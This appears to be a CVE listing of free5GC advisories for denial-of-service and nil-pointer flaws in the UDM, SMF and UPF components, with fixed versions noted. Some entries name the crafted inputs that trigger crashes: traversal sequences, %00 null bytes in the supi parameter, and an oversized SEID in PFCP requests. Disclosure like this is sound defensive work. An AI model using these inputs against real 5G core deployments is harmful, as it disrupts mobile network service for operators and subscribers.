CVE-2026-330650.00—0.00Mar 20, 2026Free5GC is an open-source Linux Foundation project for 5th generation (5G) mobile core networks. In versions prior to 1.4.2, the UDM incorrectly converts a downstream 400 Bad Request (from UDR) into a 500 Internal Server Error when handling DELETE requests with an empty supi path parameter. This leaks internal error handling behavior and makes it difficult for clients to distinguish between client-side errors and server-side failures. When a client sends a DELETE request with an empty supi (e.g., double slashes // in URL path), the UDM forwards the malformed request to UDR, which correctly returns 400. However, UDM propagates this as 500 SYSTEM_FAILURE instead of returning the appropriate 400 error to the client. This violates REST API best practices for DELETE operations. The issue has been patched in version 1.4.2.
CVE-2026-330640.00—0.00Mar 20, 2026Free5GC is an open-source Linux Foundation project for 5th generation (5G) mobile core networks. Versions prior to 1.4.2 are vulnerable to procedure panic caused by Nil Pointer Dereference in the /sdm-subscriptions endpoint. A remote attacker can cause the UDM service to panic and crash by sending a crafted POST request to the /sdm-subscriptions endpoint with a malformed URL path containing path traversal sequences (../) and a large JSON payload. The DataChangeNotificationProcedure function in notifier.go attempts to access a nil pointer without proper validation, causing a complete service crash with "runtime error: invalid memory address or nil pointer dereference". Exploitation would result in UDM functionality disruption until recovery by restart. This issue has been fixed in version 1.4.2.
CVE-2026-331910.00—0.00Mar 20, 2026Free5GC is an open-source Linux Foundation project for 5th generation (5G) mobile core networks. Versions prior to 1.4.2 are vulnerable to null byte injection in URL path parameters. A remote attacker can inject null bytes (URL-encoded as %00) into the supi path parameter of the UDM's Nudm_SubscriberDataManagement API. This causes URL parsing failure in Go's net/url package with the error "invalid control character in URL", resulting in a 500 Internal Server Error. This null byte injection vulnerability can be exploited for denial of service attacks. When the supi parameter contains null characters, the UDM attempts to construct a URL for UDR that includes these control characters. Go's URL parser rejects them, causing the request to fail with 500 instead of properly validating input and returning 400 Bad Request. This issue has been fixed in version 1.4.2.
CVE-2026-16840.00—0.00Jan 30, 2026A vulnerability was found in Free5GC SMF up to 4.1.0. Affected by this issue is the function HandleReports of the file /internal/context/pfcp_reports.go of the component PFCP UDP Endpoint. The manipulation results in denial of service. The attack can be executed remotely. It is advisable to implement a patch to correct this issue.
CVE-2026-16830.00—0.00Jan 30, 2026A vulnerability has been found in Free5GC SMF up to 4.1.0. Affected by this vulnerability is the function HandlePfcpSessionReportRequest of the file internal/pfcp/handler/handler.go of the component PFCP. The manipulation leads to denial of service. Remote exploitation of the attack is possible. The exploit has been disclosed to the public and may be used. To fix this issue, it is recommended to deploy a patch.
CVE-2026-16820.00—0.00Jan 30, 2026A flaw has been found in Free5GC SMF up to 4.1.0. Affected is the function HandlePfcpAssociationReleaseRequest of the file internal/pfcp/handler/handler.go of the component PFCP UDP Endpoint. Executing a manipulation can lead to null pointer dereference. The attack may be launched remotely. The exploit has been published and may be used. A patch should be applied to remediate this issue.
CVE-2025-655620.00—0.00Dec 18, 2025The free5GC UPF suffers from a lack of bounds checking on the SEID when processing PFCP Session Deletion Requests. An unauthenticated remote attacker can send a request with a very large SEID (e.g., 0xFFFFFFFFFFFFFFFF) that causes an integer conversion/underflow in LocalNode.DeleteSess() / LocalNode.Sess() when a uint64 SEID is converted to int and used in index arithmetic. This leads to a negative index into n.sess and a Go runtime panic, resulting in a denial of service (UPF crash). The issue has been reproduced on free5GC v4.1.0 with crashes observed in the session lookup/deletion path in internal/pfcp/node.go; other versions may also be affected. No authentication is required.
CVE-2025-655610.00—0.00Dec 18, 2025An issue was discovered in function LocalNode.Sess in free5GC 4.1.0 allowing attackers to cause a denial of service or other unspecified impacts via crafted header Local SEID to the PFCP Session Modification Request.

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